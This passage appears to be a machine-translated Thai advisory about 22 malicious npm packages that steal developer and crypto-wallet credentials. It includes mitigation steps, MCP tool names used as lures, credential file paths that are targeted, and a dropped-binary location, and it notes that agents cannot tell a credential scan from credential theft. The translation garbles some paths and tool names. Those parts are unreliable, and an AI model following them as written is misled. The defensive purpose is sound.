- ให้ถือว่าการแทรกแซงการกำหนดค่าแบบไดนามิกเป็นสิ่งที่เป็นอันตรายจนกว่าจะพิสูจน์ได้เป็นอย่างอื่น แพ็กเกจที่เรียกใช้เอนด์พอยต์ขาออกในระหว่างการทำงานจากเอกสารภายนอก (GitHub Pages, GitHub Gist, Pastebin, วัตถุ S3 หรือที่อื่นๆ) ไม่มีเหตุผลที่ถูกต้องในการทำเช่นนั้นเพื่อการเก็บข้อมูลทางไกล เอนด์พอยต์สำหรับการเก็บข้อมูลทางไกลที่แท้จริงนั้นจะต้องถูกกำหนดไว้ในโค้ดและมีการบันทึกไว้อย่างชัดเจน
- ตรวจสอบแพ็คเกจ MCP-server โดยใช้เครื่องมือที่ระบุไว้ในโฆษณา แพ็กเกจ Variant-A ทั้งหมดโฆษณาเครื่องมือที่มีชื่อดังกล่าว
search_leaked_credentials,validate_chain_key,deploy_safeและคำกริยา "ตรวจสอบ" ที่คล้ายกัน โฮสต์ MCP ที่แสดงเครื่องมือซึ่งคำอธิบายอ้างว่าสแกนไดเร็กทอรีโครงการเพื่อหาข้อมูลประจำตัว ควรต้องมีการเลือกใช้งานจากผู้ปฏิบัติงานอย่างชัดเจนก่อนที่เอเจนต์จะเรียกใช้เครื่องมือดังกล่าวในโค้ดเบสจริง จุดประสงค์ของ MCP คือลูปของเอเจนต์ไม่มีทางรู้ได้ว่าsearch_leaked_credentialsเป็นการค้นหาข้อมูลประจำตัว หรือเป็นการขโมยข้อมูลประจำตัว
สำหรับนักพัฒนาที่อาจติดตั้งแพ็กเกจใดแพ็กเกจหนึ่งจาก 22 แพ็กเกจแล้ว: ให้ถือว่าคีย์ข้อความธรรมดาใดๆ ใน ~ / .ssh, ~/.ethereum, ~/.บิตคอยน์, ~/.โซลาน่า, ~/.envหรือ ~/.git-ข้อมูลประจำตัว หากระบบถูกบุกรุก ให้เปลี่ยนข้อมูลประจำตัวทั้งหมดที่มีชื่อตรงกับรายการตัวกรองตัวแปรสภาพแวดล้อมด้านบน และบน Linux/macOS ให้ตรวจสอบหาไฟล์ปฏิบัติการที่ /tmp/.node-cache (และกระบวนการที่ถูกทิ้งร้างใดๆ ที่เริ่มต้นจากกระบวนการนั้น) การติดตั้งเครื่องมือที่ถูกปลอมแปลงเวอร์ชันที่ถูกต้องอีกครั้ง (โรงหล่อ, แห้ว, หมวกแข็ง, ganache(เป็นต้น) ไม่ได้ลบไฟล์ไบนารีที่ถูกทิ้งไป
ส่วนที่ดูแย่ที่สุดในเรื่องนี้คือกลุ่ม Variant-C ที่ไม่ได้ใช้งาน แพ็กเกจเก้าชุดที่มีโปรไฟล์การติดตั้งที่สะอาดหมดจดและผู้เผยแพร่ที่ได้รับการยอมรับนั้นเป็นสินค้าคงคลังประเภทที่ผู้ดำเนินการมักเก็บไว้สำรอง หากพวกมันระเบิดขึ้นในภายหลัง — เช่นเดียวกับที่ PhantomBot เคยเกิดขึ้นเมื่อมัน... axois-utils แพ็กเกจใหม่นี้เปลี่ยนจากการขโมยข้อมูลประจำตัวไปเป็นการสรรหาบอทเน็ต — มันจะโจมตีผู้ใช้รีจิสทรีใดๆ ก็ตามที่ตรึงแพ็กเกจ Variant-C ไว้ระหว่างวันนี้จนถึงวันที่ถูกลบ การตรึงแพ็กเกจที่เป็นอันตรายตามเวอร์ชันไม่ได้ปกป้องคุณจากผู้เผยแพร่ที่ควบคุมทุกเวอร์ชัน
อ้างอิง
- [หน้าผู้เผยแพร่ npm สำหรับ] ddjidd5640](https://www.npmjs.com/~ddjidd5640— ปัจจุบันมีสินค้า 22 รายการที่อยู่ในบัญชีนี้ แหล่งข้อมูลที่เชื่อถือได้สำหรับแคตตาล็อก ณ เวลาที่เขียนบทความนี้
- [หน้าแพ็กเกจ npm สำหรับ] เครื่องสแกนข้อมูลประจำตัวคริปโต](https://www.npmjs.com/package/crypto-credential-scanner) — ตัวอย่างไฟล์ Variant-A; สามารถดูไฟล์ README, ประวัติเวอร์ชัน และลิงก์ผู้เขียนได้ที่นี่







